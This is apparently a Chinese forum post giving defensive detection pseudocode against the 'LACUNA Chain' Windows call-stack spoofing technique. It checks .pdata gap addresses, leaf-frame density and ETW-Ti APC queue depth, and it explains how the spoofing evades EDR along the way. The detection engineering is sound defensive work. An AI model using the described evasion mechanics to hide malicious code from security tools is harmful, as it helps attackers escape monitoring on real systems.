4.1 检测一:gap 地址检测(论文点名“唯一可行的新检测”)

# ── 运行时为每个已加载 DLL 建立 .pdata gap 区间表 ──
# 思路: 枚举所有 RUNTIME_FUNCTION, 相邻两条之间的 [End_i, Begin_{i+1}) 就是 gap
def build_gap_table():
    gap_table = {}   # module_name -> sorted list of (gap_start, gap_end)
    for mod in enum_loaded_modules():
        runtimes = sorted(enum_runtime_functions(mod), key=lambda r: r.begin)
        gaps = []
        prev_end = mod.base + first_section_text_start
        for rf in runtimes:
            rf_start = mod.base + rf.begin
            if rf_start > prev_end:
                gaps.append((prev_end, rf_start))   # <- 这就是 lacuna
            prev_end = mod.base + rf.end
        gap_table[mod.name] = gaps
    return gap_table

# ── 检测: 任意调用追踪帧落在 gap 内 → 高度异常 ──
def is_frame_in_gap(addr, gap_table):
    mod = module_containing(addr)
    if mod is None: return False
    for (lo, hi) in gap_table.get(mod.name, []):
        if lo <= addr < hi:
            return True  # ⚠️ gap 地址 —— 合法代码几乎不会出现在这里
    return False

def inspect_call_trace(trace, gap_table):
    suspicious = [f for f in trace if is_frame_in_gap(f.addr, gap_table)]
    if len(suspicious) >= 1:
        # gap 地址本就罕见; 2 个以上几乎可断定伪造
        return ALERT("gap-frame-spoof", severity=len(suspicious),
                     frames=suspicious)
    return CLEAN

为什么有效: BYOUD-Gap / BYOUD-MF / 幽灵 gadget,每一种都依赖 gap 地址。合法叶子函数要么有自己的 RUNTIME_FUNCTION(不在 gap),要么是真正的叶子(通常在它调用方RUNTIME_FUNCTION 语境内被回溯,不单独出现在 trace 里)。gap 地址在调用追踪里出现,本身就是伪造的强信号。

工程注意:

  • gap 表要在每次 DLL 加载后增量更新(PsSetLoadImageNotifyRoutine 触发时建表)。
  • 表不大:ntdll 3,913 个 gap,二分查找 O(log n),每次抓栈的开销可忽略。
  • 误报源:JIT 代码、手工生成的 SEH——但这些可以白名单(已知 JIT 引擎的地址段)。

4.2 检测二:叶子帧密度异常

LACUNA 链有个无法回避的统计特征——连续叶子帧密度畸高。真栈里,叶子函数是少数(大多数函数有 prolog,是非叶子)。一条链里连续出现 4-6 个叶子帧(mf_trigger + L1..L5 里好几个都是 gap 叶子),统计上极不自然。

# ── 给每个帧打标签: leaf / non-leaf / machine-frame ──
def classify_frame(addr, gap_table):
    if is_frame_in_gap(addr, gap_table):
        return "LEAF_GAP"  # gap 帧 —— 永远当叶子
    rf = lookup_runtime_function(addr)
    if rf is None:
        return "LEAF_UNCOVERED"
    codes = read_unwind_codes(rf)
    if any(c.op == UWOP_PUSH_MACHFRAME for c in codes):
        return "MACHFRAME"  # KiUser* dispatcher
    if has_nontrivial_prolog(codes):
        return "NONLEAF"
    return "LEAF_NORMAL"

def leaf_density_anomaly(trace, gap_table):
    consecutive_leaves = 0
    max_run = 0
    has_machframe = False
    for f in trace:
        kind = classify_frame(f.addr, gap_table)
        if kind == "MACHFRAME":
            has_machframe = True
        if kind.startswith("LEAF"):
            consecutive_leaves += 1
            max_run = max(max_run, consecutive_leaves)
        else:
            consecutive_leaves = 0
    # 启发式: 连续 >=3 叶子帧, 或任何 MACHFRAME 出现在用户态 trace 里
    if max_run >= 3 or has_machframe:
        return ALERT("leaf-density-anomaly",
                     max_leaf_run=max_run, machframe=has_machframe)
    return CLEAN

注意: 单独 KiUserExceptionDispatcher 出现在 trace 顶是正常的(异常处理路径)。但如果它出现在中间、且后面跟着一串 gap 叶子帧,那就是 BYOUD-MF 瞬移的特征签名——has_machframe + max_run >= 3 几乎锁定。

4.3 检测三:ETW-Ti APC 队列深度

论文里提的第二个开放问题。ETW-Ti 用 USER_APC 异步投递栈采集;LACUNA 攻击靠“堆一批 APC,在可警醒等待时一齐投递”来对齐抓栈时机。这个“堆”本身就是可测的:

// 内核态伪代码 (EDR 驱动 hook APC 排队路径)
ULONG64 g_pending_etwti_apc[MAX_THREADS];   // 每线程已排队未投递的 ETW-Ti APC 计数

VOID OnEtwTiApcQueued(HANDLE tid) {
    g_pending_etwti_apc[tid]++;
}

VOID OnThreadAlertableWaitEnter(HANDLE tid) {
    ULONG64 depth = g_pending_etwti_apc[tid];
    if (depth > 3) {
        // 单次可警醒等待前堆积 >3 个 ETW-Ti APC —— 强异常
        ReportEvent(EVENT_APC_QUEUE_DEPTH_ANOMALY,
                    tid, depth,
                    note="possible stack-spoof timing window");
    }
    // 投递后清零
    g_pending_etwti_apc[tid] = 0;
}

// 在 NtDelayExecution / WaitForSingleObjectEx(alertable) 进入时
// 调用 OnThreadAlertableWaitEnter

为什么 >3: 正常 ETW-Ti 事件是低频的(一次敏感 syscall 一个 APC)。LACUNA 攻击为了把抓栈时机卡在自己伪造好的栈上,会先连续做几个敏感操作(攒 APC),再统一进可警醒等待。一个正常线程单次等待前极少攒 3 个以上 ETW-Ti APC。

4.4 三段检测的互补关系

检测 抓什么变体 误报率 实现难度
gap 地址检测 所有 BYOUD-Gap / 幽灵 gadget 低(gap 罕见) 中(需建 gap 表)
叶子帧密度 LACUNA 全链 / BYOUD-MF 中(JIT 干扰) 低(纯回溯分析)
APC 队列深度 ETW-Ti APC 窗口攻击 高(需内核 hook APC)

三者叠加:gap 检测抓“帧在哪儿”,叶子密度抓“链长什么样”,APC 深度抓“时机怎么卡”。一个伪造栈很难同时骗过这三层——这正是论文结论“唯一剩下的可靠检测是行为级内核回调关联”在代码层的落地。

4.5 给防御者的取舍提醒

  • gap 表是 EDR 自己维护的旁路数据,攻击者无法在用户态篡改(它在内核 EDR 进程的内存里)。这是相对攻击者的信息优势。
  • ObRegisterCallbacks 这类内核回调仍然能抓到 section 映射、句柄打开——这是 LACUNA 链故意没碰的面(论文原话:“这些检测没有一个是调用栈”)。所以检测策略应该是:用 gap/叶子/APC 三段栈检测 + 内核回调行为关联双轨,而非二选一。
  • 务必把“win32u.dll 白名单”规则从默认放行改成“win32u.dll gap 内地址告警”——否则 NOP Gap 链会反用这条规则对抗你。

写在最后

LACUNA Chain 把对抗从“绕 hook”推进到了“骗 unwind”。.pdata 的 gap、x64 IRET 帧的语义、ETW-Ti 异步 APC 的时间差——这些都是 Windows 自己提供的、攻击者零成本可用的结构。防御的下一步,必然是运行时枚举这些结构并反过来把它们变成检测信号。

调用栈不再可信,.pdata 不再可信。下一战,在行为关联。

致谢:原文作者 Mohamed Alzhrani(@0xmaz),论文见 0xmaz.me,C 实现见 MazX0p/LACUNA-Chain,Rust 移植见 Karkas66/lacuna-rs。本文为中文译解 + 源码拆解 + 防御延伸,仅供安全研究与检测工程使用。配图均来自原文。




上一篇:ChatGPT文件下载漏洞:一句误导对话绕过沙箱读取系统文件
下一篇:从零配置STM32 HAL库:cubeMX 6.12安装、固件包离线导入与F103点灯实战
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-7-4 05:10 , Processed in 0.763158 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表